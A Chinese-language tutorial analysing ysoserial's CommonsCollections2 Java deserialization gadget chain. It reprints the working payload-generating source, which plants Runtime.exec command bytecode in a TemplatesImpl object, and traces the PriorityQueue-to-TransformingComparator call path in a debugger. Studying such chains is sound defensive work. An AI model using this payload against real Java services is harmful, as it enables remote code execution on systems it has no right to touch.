1.前言
本片文章为学习ysoserial代码系列的第二篇,分析的攻击链为CommonsCollections2,源码是以github上最新版ysoserial代码为例下载地址,具体运行环境为jdk 1.8+ 和 maven 3.x.+为主。
以下是CommonsCollections2的源码,依赖的库为org.apache.commons:commons-collections4:4.0:
@Dependencies({ "org.apache.commons:commons-collections4:4.0" }) @Authors({ Authors.FROHOFF }) public class CommonsCollections2 implements ObjectPayload<Queue<Object>> { @Override public Queue<Object> getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); // create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer)); // stub data for replacement later queue.add(1); queue.add(1); // switch method called by comparator Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); // switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = 1; return queue; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections2.class, args); } }
2.基础知识
TemplatesImpl#TransletClassLoader类:TransletClassLoader做为TemplatesImpl的内部类扩展了ClassLoader类,ClassLoader类的主要作用是加载class文件进入jvm中,执行过程实际加载的方式为调用defineClass方法加载类字节码。
TransletClassLoader类的defineClass方法的访问权限设置为默认,可以直接调用ClassLoader类的defineClass方法进行类字节码加载。
TemplatesImpl类:变量_bytecodes用于存放含有恶意代码的类字节码 ,为调用defineClass方法传入的实际参数。
下图是TemplatesImpl类攻击链调用的流程。
TransformingComparator类:继承了Comparator和Serializable接口。
调用构造方法生成对象时会传入一个Transformer类型对象,和CommonsCollections1一样通过Transformer的transform方法去执行命令。
通过compare方法调用Transformer的transform方法。
PriorityQueue类:是jdk提供的一个队列实现类,在调用构造方法时会传入一个实现了Comparator接口的对象,为coparator变量赋值。
在PriorityQueue类的readObject方法中看到执行到最后会调用heapify方法。
进入heapify方法中调用了siftDown方法。
在siftDown方法中进入siftDownUsingComparator方法。
在siftDownUsingComparator方法中看到执行了comparator变量的compare方法,此时comparator变量就是构造好含有恶意代码的TransformingComparator对象。
Javaassist:Javaassist就是一个用来 处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。
在CommonsCollections2中使用了Javaassist库来修改和生成类的字节码,具体的使用方法可以查询网络上的文章,这里就不做具体介绍了。
3.代码分析
开始分析CommonsCollections2中payload生成的过程,在getObject方法开始就调用了createTemplatesImpl方法生成了一个TemplatesImpl对象。
在createTemplatesImpl方法中首先生成一个TemplatesImpl对象,然后使用Javaassist库来获取Gadgets#StubTransletPayload内部类,调用makeClassInitializer方法在代码中生成一个空的类静态初始块,并将需要执行的命令插入其中,之后将StubTransletPayload类的类字节码用反射的方式赋值到TemplatesImpl对象中的_bytecodes变量,最后返回TemplatesImpl对象。
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replace("\\", "\\\\").replace("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; }
生成InvokerTransformer对象使用其初始化一个PriorityQueue对象,队列大小为2,随意插入两个值。
使用反射的方式将InvokerTransformer对象的iMethodName变量修改为newTransformer,之后还是使用反射的方式将PriorityQueue对象内部数组的第一个位置赋值为代码开始时生成的TemplatesImpl对象,返回生成好的PriorityQueue对象。
4.调试运行
使用CommonsCollections2提供的测试代码,在Runtime的exec方法处下断点。
调试开始后可以看到程序的调用栈。
在PriorityQueue类的readObject方法中调用heapify方法。
heapify方法中调用siftDown方法。
siftDown方法中进入siftDownUsingComparator方法。
在siftDownUsingComparator方法调用了comparator.compare方法。
在compare方法中可以看到执行了transformer.transform方法,传入的参数就是之前生成的含有恶意代码的TemplatesImpl对象。
transform中会对TemplatesImpl对象调用newTransformer方法,之后的执行流程在TemplatesImpl类中已经介绍。
至此命令执行成功。